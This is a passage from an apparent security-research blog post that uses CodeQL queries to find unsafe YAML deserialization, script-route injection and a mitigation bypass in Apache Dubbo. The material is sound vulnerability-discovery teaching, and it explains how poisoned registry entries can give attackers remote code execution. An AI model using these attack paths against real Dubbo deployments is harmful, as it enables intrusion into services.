and so on. You can use such a map to guide and focus your audit on what are likely to be high-yield areas of the code base. To keep this blog short(er), I&rsquo;ll show you how I enumerated an auditing heat map just for the unsafe deserialization category.<\/p>\n<pre><code class=\"language-ql\">import java\nimport semmle.code.java.security.UnsafeDeserializationQuery\n\nfrom UnsafeDeserializationSink node\nwhere\n  not node.getLocation().getFile().getRelativePath().matches(\"%\/src\/test\/%\")\nselect\n  node.asExpr().getParent().(Call).getCallee().getDeclaringType(), \/\/ deserializing class\n  node.asExpr().getParent(), \/\/ deserializing method\n  node.asExpr().getParent().(Call).getEnclosingCallable().getDeclaringType() \/\/ enclosing class\n<\/code><\/pre>\n<p>In the above query, I&rsquo;m importing the UnsafeDeserialization library that defines an <code>UnsafeDeserializationSink<\/code> DataFlow node. I will be querying all the nodes that satisfy the <code>UnsafeDeserialiationSink<\/code> predicate and are not located in test files. The query<\/p>\n<pre><code class=\"language-ql\">import java\nimport semmle.code.java.security.UnsafeDeserializationQuery\n\nfrom UnsafeDeserializationSink node\nwhere\n  not node.getLocation().getFile().getRelativePath().matches(\"%\/src\/test\/%\")\nselect \n  node.asExpr().getParent().(Call).getCallee().getDeclaringType(), \/\/ deserializing class\n  node.asExpr().getParent(), \/\/ deserializing method\n  node.asExpr().getParent().(Call).getEnclosingCallable().getDeclaringType() \/\/ enclosing class\n<\/code><\/pre>\n<p>returns 23 results. Ignoring those on classes implementing the <code>ObjectInput<\/code> interface (since I already showed you how to analyze them), I get three results; three potentially insecure YAML deserialization operations:<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image15-1.png?w=1024&#038;resize=1024%2C182\" alt=\"YAML.load calls\" width=\"1024\" height=\"182\" class=\"aligncenter size-large wp-image-81301 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image15-1.png?w=1999 1999w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image15-1.png?w=300 300w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image15-1.png?w=768 768w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image15-1.png?w=1024 1024w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image15-1.png?w=1536 1536w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/p>\n<p>I can manually review where the data passed to these methods comes from, or I can use a simple DataFlow query to let CodeQL do the review for us:<\/p>\n<pre><code class=\"language-ql\">import java\nimport semmle.code.java.dataflow.DataFlow\nimport semmle.code.java.dataflow.FlowSources\nimport DataFlow\nimport PartialPathGraph\n\nclass PartialTaintConfig extends DataFlow::Configuration {\n  PartialTaintConfig() { this = \"PartialTaintConfig\" }\n\n  override int explorationLimit() { result = 5 }\n\n  override predicate isSource(DataFlow::Node source) {\n    none()\n  }\n\n  override predicate isSink(DataFlow::Node sink) {\n    exists(MethodAccess ma |\n        ma.getMethod().hasName(\"load\") and\n        ma.getMethod().getDeclaringType().hasName(\"Yaml\") and\n        sink.asExpr() = ma.getAnArgument()\n    )\n  }\n}\n\nfrom PartialPathNode n, int dist\nwhere\n  any(PartialTaintConfig c).hasPartialFlowRev(n, _, dist) and\n  n.getNode() instanceof DataFlow::ExplicitParameterNode and\n  dist &gt; 0\nselect dist, n\n<\/code><\/pre>\n<p>The query<\/p>\n<pre><code class=\"language-ql\">import java\nimport semmle.code.java.dataflow.DataFlow\nimport semmle.code.java.dataflow.FlowSources\nimport DataFlow\nimport PartialPathGraph\n\nclass PartialTaintConfig extends DataFlow::Configuration {\n  PartialTaintConfig() { this = \"PartialTaintConfig\" }\n\n  override int explorationLimit() { result = 5 }\n\n  override predicate isSource(DataFlow::Node source) {\n    source instanceof RemoteFlowSource\n  }\n\n  override predicate isSink(DataFlow::Node sink) {\n    exists(MethodAccess ma |\n      ma.getMethod().hasName(\"load\") and\n      ma.getMethod().getDeclaringType().hasName(\"Yaml\") and\n      sink.asExpr() = ma.getAnArgument()\n    )\n  }\n}\n\nfrom PartialPathNode n, int dist\nwhere \n  any(PartialTaintConfig c).hasPartialFlowRev(n, _, dist) and\n  n.getNode() instanceof DataFlow::ExplicitParameterNode and\n  dist &gt; 0\nselect dist, n\n<\/code><\/pre>\n<p>looks for reverse partial data flows. That is, starting from the sink and within the exploration limits set in the query (5), it looks backwards toward a potential source for all the expressions or parameters leading to the sink. This kind of query is very useful when looking for APIs that are not propagating the taint and need to be modeled but also when you need to &ldquo;hoist&rdquo; a sink. You can think of hoisting or lifting a sink as a way to find all other methods that, if invoked with tainted data, will propagate that taint to the sink and therefore can also be considered sinks themselves.<\/p>\n<p>My intention with this query was to look for places where the data deserialized by <code>Yaml.load()<\/code> can come from. The results show 11 possible paths:<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image27.png?w=1024&#038;resize=1024%2C740\" alt=\"YAML.load hoisted\" width=\"1024\" height=\"740\" class=\"aligncenter size-large wp-image-81302 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image27.png?w=1999 1999w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image27.png?w=300 300w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image27.png?w=768 768w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image27.png?w=1024 1024w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image27.png?w=1536 1536w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/p>\n<p>You can see that there are several results labeled as <code>event[content]<\/code>, which means that the flow would originate from the <code>content<\/code> field of the <code>event<\/code> parameter.For example:<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image3-2.png?w=1024&#038;resize=1024%2C475\" alt=\"process method\" width=\"1024\" height=\"475\" class=\"aligncenter size-large wp-image-81303 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image3-2.png?w=1812 1812w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image3-2.png?w=300 300w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image3-2.png?w=768 768w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image3-2.png?w=1024 1024w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image3-2.png?w=1536 1536w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/p>\n<p>You can see how the <code>content<\/code> of the <code>ConfigChangedEvent<\/code> flows into the <code>ConditionRuleParser.parse()<\/code> method which is then passed to the final <code>Yaml.load()<\/code> sink. The <code>process()<\/code> method overrides the <code>ConfigurationListener.process()<\/code> method:<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image5-2.png?w=1024&#038;resize=1024%2C310\" alt=\"configuration listener\" width=\"1024\" height=\"310\" class=\"aligncenter size-large wp-image-81304 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image5-2.png?w=1810 1810w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image5-2.png?w=300 300w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image5-2.png?w=768 768w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image5-2.png?w=1024 1024w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image5-2.png?w=1536 1536w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/p>\n<p>This interface looks very interesting since it represents a configuration center listener. The <code>ConfigChangedEvent<\/code> will contain the contents of that change. This means that if an attacker can add or modify certain configurations or routes in the registry, then all the consumers will parse those changes and will potentially trigger an unsafe deserialization that could be used to compromise all the different consumers.<\/p>\n<p>I&rsquo;ll verify this by writing a simple query to check where these <code>ConfigChangedEvents<\/code> are instantiated:<\/p>\n<pre><code class=\"language-ql\">import java\n\nfrom ClassInstanceExpr call\nwhere call.getConstructedType().getName() = \"ConfigChangedEvent\"\nselect call\n<\/code><\/pre>\n<p>I&rsquo;m returned a list of the following classes:<\/p>\n<ul>\n<li><code>ApolloDynamicConfiguration<\/code><\/li>\n<li><code>ConsulDynamicConfiguration<\/code><\/li>\n<li><code>EtcdDynamicConfiguration<\/code><\/li>\n<li><code>FileSystemDynamicConfiguration<\/code><\/li>\n<li><code>NacosDynamicConfiguration<\/code><\/li>\n<li><code>ZookeeperCacheListener<\/code><\/li>\n<\/ul>\n<p>These classes are listeners that listen for changes in different configuration centers and are abstracted by the <code>ConfigurationListener<\/code> interface.<\/p>\n<p>If an attacker can access any of these registries or configuration centers, they will be able to inject malicious YAML content that when passed to Dubbo consumers and providers will trigger arbitrary code execution. You might think that accessing these configuration managers isn&rsquo;t possible, but the truth is that most of them run with no authentication\/authorization enabled by default, and in some cases it may be possible to bypass, as <a href=\"https:\/\/securitylab.github.com\/advisories\/GHSL-2020-325_326-nacos\/\">I showed previously<\/a>.<\/p>\n<p>Using this approach, I found that it was indeed possible to achieve RCE by performing:<\/p>\n<ul>\n<li><a href=\"https:\/\/dubbo.apache.org\/en\/docs\/v2.7\/user\/examples\/routing-rule\/#tag-routing-rules\">Tag route<\/a> poisoning (GHSL-2021-040)<\/li>\n<li><a href=\"https:\/\/dubbo.apache.org\/en\/docs\/v2.7\/user\/examples\/routing-rule\/#conditional-routing-rules\">Conditional route<\/a> poisoning (GHSL-2021-041)<\/li>\n<li><a href=\"https:\/\/dubbo.apache.org\/en\/docs\/v2.7\/user\/examples\/config-rule\/\">Configure rule<\/a> poisoning (GHSL-2021-043)<\/li>\n<\/ul>\n<h2 id=\"rce-on-customers-via-script-route-poisoning-nashorn-script-injection-ghsl-2021-042\" id=\"rce-on-customers-via-script-route-poisoning-nashorn-script-injection-ghsl-2021-042\" ><a class=\"heading-link\" href=\"#rce-on-customers-via-script-route-poisoning-nashorn-script-injection-ghsl-2021-042\">RCE on customers via script route poisoning (Nashorn script injection) (GHSL-2021-042)<span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h2>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image9-2.png?w=578&#038;resize=578%2C432\" alt=\"Pokemon cartoon. A wild new attack surface appeared!\" width=\"578\" height=\"432\" class=\"aligncenter size-large wp-image-81305 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image9-2.png?w=578 578w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image9-2.png?w=300 300w\" sizes=\"auto, (max-width: 578px) 100vw, 578px\" \/><\/p>\n<p>You may be wondering if this newly identified attack surface (configuration manager listeners) introduces other injection issues. You could either model all the configuration manager client libraries (Apache Curator, Nacos, etc) or just model the Dubbo abstraction layer for all of them. Turns out that all the different listeners are derived from the <code>ConfigurationListener<\/code> or the <code>NotifyListener<\/code>. You can use this info to create a source representing this attack surface with CodeQL:<\/p>\n<pre><code class=\"language-ql\">import java\nimport semmle.code.java.dataflow.FlowSources\n\nclass NotifyListener extends RefType {\n  NotifyListener() {\n    this.hasQualifiedName(\"org.apache.dubbo.registry\", \"NotifyListener\")\n  }\n}\n\nclass ConfigurationListener extends RefType {\n  ConfigurationListener() {\n    this.hasQualifiedName(\"org.apache.dubbo.common.config.configcenter\", \"ConfigurationListener\")\n  }\n}\n\nclass ConfigurationListenerProcessMethod extends Method {\n  ConfigurationListenerProcessMethod() {\n    this.getName() = \"process\" and\n    this.getDeclaringType().getASupertype*() instanceof ConfigurationListener\n  }\n}\n\nclass NotifyListenerNotifyMethod extends Method {\n  NotifyListenerNotifyMethod() {\n    this.getName() = \"notify\" and\n    this.getDeclaringType().getASupertype*() instanceof NotifyListener\n  }\n}\n\nclass DubboListener extends RemoteFlowSource {\n  DubboListener() {\n    (exists(NotifyListenerNotifyMethod m |\n        this.asParameter() = m.getAParameter()\n      ) or\n      exists(ConfigurationListenerProcessMethod m |\n        this.asParameter() = m.getAParameter()\n      )) and\n      not this.getLocation().getFile().getAbsolutePath().matches(\"%\/src\/test\/%\")\n  }\n  override string getSourceType() { result = \"Dubbo Listener Source\" }\n}\n\nfrom DubboListener l\nselect\n  l,\n  l.asParameter().getCallable(),\n  l.asParameter().getCallable().getDeclaringType()\n<\/code><\/pre>\n<p>The above query gets us the following new entry points:<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image6-2.png?w=1024&#038;resize=1024%2C647\" alt=\"new CC entrypoints\" width=\"1024\" height=\"647\" class=\"aligncenter size-large wp-image-81306 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image6-2.png?w=1999 1999w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image6-2.png?w=300 300w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image6-2.png?w=768 768w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image6-2.png?w=1024 1024w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image6-2.png?w=1536 1536w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/p>\n<p>Running a complete CodeQL scan with this new source returns brand new results, including an unsafe server-side Javascript evaluation on <code>ScriptRouter<\/code>:<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image24.png?w=1024&#038;resize=1024%2C377\" alt=\"Script injection\" width=\"1024\" height=\"377\" class=\"aligncenter size-large wp-image-81307 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image24.png?w=1706 1706w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image24.png?w=300 300w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image24.png?w=768 768w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image24.png?w=1024 1024w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image24.png?w=1536 1536w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/p>\n<p>Consulting the documentation reveals that <a href=\"https:\/\/dubbo.apache.org\/en\/docs\/v2.7\/user\/examples\/routing-rule\/#script-routing-rules\">routing rules can be scripted with <\/a>any of the scripting languages available in the JDK. Similar to what I showed you for the YAML deserialization, an attacker with access to a non-authenticated registry can register a new scripted route that all consumers will download and evaluate:<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image14-1.png?w=1024&#038;resize=1024%2C129\" alt=\"exploit\" width=\"1024\" height=\"129\" class=\"aligncenter size-large wp-image-81308 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image14-1.png?w=1999 1999w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image14-1.png?w=300 300w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image14-1.png?w=768 768w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image14-1.png?w=1024 1024w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image14-1.png?w=1536 1536w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/p>\n<p>Master <a href=\"https:\/\/twitter.com\/threedr3am1\">@threedr3am<\/a> already <a href=\"https:\/\/threedr3am.github.io\/2021\/05\/30\/Dubbo%20Consumer%E8%84%9A%E6%9C%AC%E6%B3%A8%E5%85%A5RCE%20-%20CVE-2021-30181\/\">wrote about<\/a> exploiting my finding, so I won&rsquo;t provide more details here. After all, this blog post is about the discovery process, not the exploitation one.<\/p>\n<h2 id=\"review-of-cve-2021-25641-mitigations\" id=\"review-of-cve-2021-25641-mitigations\" ><a class=\"heading-link\" href=\"#review-of-cve-2021-25641-mitigations\">Review of CVE-2021-25641 mitigations<span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h2>\n<p>After reporting all the previous vulnerabilities to the Apache Dubbo and Apache Security teams, I was notified about the fixes implemented in v2.7.9. I was not given the opportunity to review the fix before it was released, so when I was told that the fix was already released I was curious about the remediation approach the Dubbo team took and took a look.<\/p>\n<p>To reject the processing of untrusted data that tries to set a serialization type that is different from the one explicitly enabled by the server (as in GHSL-2021-035), Apache Dubbo <a href=\"https:\/\/github.com\/apache\/dubbo\/releases\/tag\/dubbo-2.7.9\">2.7.9<\/a> implemented the following main <a href=\"https:\/\/github.com\/apache\/dubbo\/commit\/711343eda70a7597182d024111423a8aba9a4b14\">mitigations<\/a>:<\/p>\n<ol>\n<li>There is a new <code>CodecSupport.getSerialization(url)<\/code> method that instead of forbidding changing the serialization type to native Java will only use server-side specified deserialization format and won&rsquo;t allow any changes.<\/li>\n<li>All security checks to prevent use of the native Java protocol in <code>CodecSupport.getSerialization(url, id)<\/code> were removed and partly moved into <code>CodecSupport.checkSerialization(path, version, serializationType);<\/code><\/li>\n<li>Additionally, there is an InputStream length validation in <code>CodecSupport.decodeEventData<\/code> but nowhere else.<\/li>\n<\/ol>\n<p>Two new properties control the new security checks:<\/p>\n<ul>\n<li><code>serialization.security.check<\/code> (default: false)<\/li>\n<li><code>deserialization.event.size<\/code> (default: 50 bytes)<\/li>\n<\/ul>\n<p>If you remembered, <code>CodecSupport.getSerialization(url, id)<\/code> was the main reason I was discarding some results before. Every deserialization operation on a <code>Serialization<\/code> instance returned by that method was guaranteed to use the server-side specified serialization protocol that would normally be Hessian. Removing that check from <code>CodecSupport.getSerialization(url, id)<\/code> means that I need to reevaluate my previous findings. Specifically I want to know if there are any deserialization operations going through the now unsafe <code>getSerialization(url, id)<\/code> overload but not through any <code>serialization.security.check<\/code> controls.<\/p>\n<p>From a design standpoint, I would think that enforcing the security check within the method returning the serializer is a more secure approach than splitting it into a new method since developers may forget to explicitly invoke the security check. This looks like yet another great question to ask my CodeQL oracle.<\/p>\n<p>Let&rsquo;s highlight the main difference between versions lower than v2.79 and 2.7.9:<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image34.png?w=1024&#038;resize=1024%2C314\" alt=\"getSerialization\" width=\"1024\" height=\"314\" class=\"aligncenter size-large wp-image-81309 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image34.png?w=1999 1999w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image34.png?w=300 300w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image34.png?w=768 768w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image34.png?w=1024 1024w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image34.png?w=1536 1536w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/p>\n<p>In versions lower than 2.7.9, any call to <code>CodecSupport.deserialize()<\/code> or to <code>Serialization.deserialize()<\/code> on a <code>Serialization<\/code> instance returned by <code>CodecSupport.getSerialization(URL, id)<\/code> will check that the consumer\/attacker is not changing the serialization format to any dangerous Java native serialization format. Therefore, Dubbo is not enforcing the use of the provider-defined format, but neither can you arbitrarily change it to the Java format.<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image8-2.png?w=1024&#038;resize=1024%2C480\" alt=\"getSerialization overload\" width=\"1024\" height=\"480\" class=\"aligncenter size-large wp-image-81310 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image8-2.png?w=1526 1526w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image8-2.png?w=300 300w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image8-2.png?w=768 768w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image8-2.png?w=1024 1024w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/p>\n<p>In 2.7.9, things are a little bit different. There is a new <code>CodecSupport.getSerialization(URL)<\/code> overload that will enforce the use of the provider-defined serialization format. This will normally be Hessian, which can be configured securely. However, the old <code>CodecSupport.getSerialization(URL, id)<\/code> overload has been stripped out of any security checks. Even worse, the <code>CodecSupport.deserialize()<\/code> method uses the unsafe overload.<\/p>\n<p>On the other hand, a new <code>CodecSupport.checkSerialization()<\/code> method was added to carry out the security checks:<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image16-1.png?w=1024&#038;resize=1024%2C373\" alt=\"checkSerialization method\" width=\"1024\" height=\"373\" class=\"aligncenter size-large wp-image-81311 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image16-1.png?w=1999 1999w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image16-1.png?w=300 300w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image16-1.png?w=768 768w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image16-1.png?w=1024 1024w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image16-1.png?w=1536 1536w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/p>\n<p>I&rsquo;m going to re-evaluate the query from GHSL-2021-036 but will add a sanitizer to treat checks for the new <code>serialization.security.check<\/code> and <code>deserialization.event.size<\/code> properties as cleansing nodes. Note that <code>deserialization.event.size<\/code> with the default size (50 bytes) may still allow for denial-of-service (DoS) attacks.<\/p>\n<pre><code class=\"language-ql\">\/**\n * @kind path-problem\n *\/\n\nimport java\nimport semmle.code.java.dataflow.TaintTracking\nimport DataFlow::PathGraph\n\nclass InsecureConfig extends TaintTracking::Configuration {\n\n  InsecureConfig() { this = \"InsecureConfig\" }\n\n  override predicate isSource(DataFlow::Node source) {\n    exists(Method m |\n        m.getName() = \"decodeBody\" and\n        m.getDeclaringType()\n            .hasQualifiedName(\"org.apache.dubbo.rpc.protocol.dubbo\", \"DubboCodec\") and\n        m.getParameter(1) = source.asParameter()\n     )\n  }\n\n  override predicate isAdditionalTaintStep(DataFlow::Node n1, DataFlow::Node n2) {\n    exists(MethodAccess ma |\n      ma.getMethod().getName() = \"deserialize\" and\n      ma.getMethod()\n          .getDeclaringType()\n          .hasQualifiedName(\"org.apache.dubbo.common.serialize\", \"Serialization\") and\n        ma.getArgument(1) = n1.asExpr() and\n        ma = n2.asExpr()\n    )\n  }\n\n  override predicate isSanitizer(DataFlow::Node node) {\n    exists(MethodAccess ma |\n        ma.getMethod().getName() = [\"getBoolean&rdquo;, &ldquo;getInt\"] and\n        ma.getAnArgument().(CompileTimeConstantExpr).getStringValue() = [\"serialization.security.check&rdquo;, &ldquo;deserialization.event.size\"] and\n        ma.getAnEnclosingStmt().getBasicBlock().bbDominates(node.asExpr().getBasicBlock())\n    )\n  }\n\n  override predicate isSink(DataFlow::Node sink) {\n    exists(MethodAccess ma |\n        ma.getMethod().getName().matches(\"read%\") and\n        ma.getMethod()\n            .getDeclaringType()\n            .getASourceSupertype*()\n            .hasQualifiedName(\"org.apache.dubbo.common.serialize\", \"ObjectInput\") and\n        ma.getQualifier() = sink.asExpr()\n    )\n  }\n}\n\nfrom InsecureConfig conf, DataFlow::PathNode source, DataFlow::PathNode sink\nwhere conf.hasFlowPath(source, sink)\nselect sink, source, sink, \"\"\n<\/code><\/pre>\n<p>This query is exactly the same as the GHSL-2021-036 one but with a new sanitizer predicate to the dataflow configuration:<\/p>\n<pre><code class=\"language-ql\">  override predicate isSanitizer(DataFlow::Node node) {\n    exists(MethodAccess ma |\n        ma.getMethod().getName() = [\"getBoolean&rdquo;, &ldquo;getInt\"] and\n        ma.getAnArgument().(CompileTimeConstantExpr).getStringValue().regexpMatch(\"serialization.security.check|deserialization.event.size\") and\n        ma.getAnEnclosingStmt().getBasicBlock().bbDominates(node.asExpr().getBasicBlock())\n    )\n  }\n<\/code><\/pre>\n<p>The new query<\/p>\n<pre><code class=\"language-ql\">\/**\n * @kind path-problem\n * @id java\/dubbo_analysis\n *\/\nimport java\nimport semmle.code.java.dataflow.TaintTracking\nimport DataFlow::PathGraph\n\nclass InsecureConfig extends TaintTracking::Configuration {\n  InsecureConfig() { this = \"InsecureConfig\" }\n\n  override predicate isSource(DataFlow::Node source) {\n    exists(Method m |\n      m.getName() = \"decodeBody\" and\n      m.getDeclaringType()\n          .hasQualifiedName(\"org.apache.dubbo.rpc.protocol.dubbo\", \"DubboCodec\") and\n      m.getParameter(1) = source.asParameter()\n     )\n  }\n\n  override predicate isAdditionalTaintStep(DataFlow::Node n1, DataFlow::Node n2) {\n    exists(MethodAccess ma |\n      ma.getMethod().getName() = \"deserialize\" and\n      ma.getMethod()\n          .getDeclaringType()\n          .hasQualifiedName(\"org.apache.dubbo.common.serialize\", \"Serialization\") and\n      ma.getArgument(1) = n1.asExpr() and\n      ma = n2.asExpr()\n    )\n  }\n\n  override predicate isSanitizer(DataFlow::Node node) {\n    exists(MethodAccess ma |\n      ma.getMethod().getName().regexpMatch(\"getBoolean|getInt\") and\n      ma.getAnArgument().(CompileTimeConstantExpr).getStringValue().regexpMatch(\"serialization.security.check|deserialization.event.size\") and\n      ma.getAnEnclosingStmt().getBasicBlock().bbDominates(node.asExpr().getBasicBlock())\n    )\n  }\n\n  override predicate isSink(DataFlow::Node sink) {\n    exists(MethodAccess ma |\n      ma.getMethod().getName().matches(\"read%\") and\n      ma.getMethod()\n          .getDeclaringType()\n          .getASourceSupertype*()\n          .hasQualifiedName(\"org.apache.dubbo.common.serialize\", \"ObjectInput\") and\n      ma.getQualifier() = sink.asExpr()\n    )\n  }\n}\n\nfrom InsecureConfig conf, DataFlow::PathNode source, DataFlow::PathNode sink\nwhere conf.hasFlowPath(source, sink)\nselect sink, source, sink, \"\"\n<\/code><\/pre>\n<p>returns no results, meaning that all variants found in GHSL-2021-036 are now behind checks for these new properties. This kind of query is useful when added to the CI\/CD pipeline, so you can verify that new PRs don&rsquo;t introduce new vulnerabilities by deserializing untrusted data on paths not guarded by these checks. The next step would be to review those checks and see if they can be bypassed.<\/p>\n<h2 id=\"pre-auth-unsafe-java-deserialization-bypass-of-checkserialization-control-ghsl-2021-097\" id=\"pre-auth-unsafe-java-deserialization-bypass-of-checkserialization-control-ghsl-2021-097\" ><a class=\"heading-link\" href=\"#pre-auth-unsafe-java-deserialization-bypass-of-checkserialization-control-ghsl-2021-097\">Pre-auth unsafe Java deserialization (bypass of <code>checkSerialization<\/code> control) (GHSL-2021-097)<span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h2>\n<p>If I ask the oracle for all the places where these properties are used:<\/p>\n<pre><code class=\"language-ql\">import java\n\nfrom MethodAccess ma\nwhere ma.getAnArgument().(CompileTimeConstantExpr).getStringValue() = [\"serialization.security.check\", \"deserialization.event.size\"]\nselect ma\n<\/code><\/pre>\n<p>you can see that there are three places where these checks are enforced:<\/p>\n<h3 id=\"decodeablerpcresult-decode\" id=\"decodeablerpcresult-decode\" ><a class=\"heading-link\" href=\"#decodeablerpcresult-decode\">DecodeableRpcResult.decode<span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h3>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image17-1.png?w=1024&#038;resize=1024%2C406\" alt=\"DecodeableRpcResult.decode method\" width=\"1024\" height=\"406\" class=\"aligncenter size-large wp-image-81312 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image17-1.png?w=1999 1999w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image17-1.png?w=300 300w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image17-1.png?w=768 768w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image17-1.png?w=1024 1024w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image17-1.png?w=1536 1536w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/p>\n<p>If the <code>SERIALIZATION_SECURITY_CHECK_KEY<\/code> is enabled, then the serialization type of the response is forced to match the one in the invocation. Previously, in GHSL-2021-036, I was able to force the server to process a response even if there were no corresponding invocations (requests). We had <code>invocation<\/code> being null, but that was ok since I was able to reach the deserialization sinks before triggering a <code>NullPointerException<\/code> (NPE). However, if this check is enabled, I&rsquo;ll get an NPE in <code>invocation.get(SERIALIZATION_ID_KEY)<\/code> and therefore I&rsquo;ll no longer be able to send &ldquo;unexpected&rdquo; results. Therefore, this check will effectively protect all the GHSL-2021-036 variants flowing through <code>DecodeableRpcResult<\/code><\/p>\n<h3 id=\"exchangecodec-decodeeventdata\" id=\"exchangecodec-decodeeventdata\" ><a class=\"heading-link\" href=\"#exchangecodec-decodeeventdata\">ExchangeCodec.decodeEventData<span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h3>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image32.png?w=1024&#038;resize=1024%2C247\" alt=\"ExchangeCodec.decodeEventData method\" width=\"1024\" height=\"247\" class=\"aligncenter size-large wp-image-81313 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image32.png?w=1999 1999w, 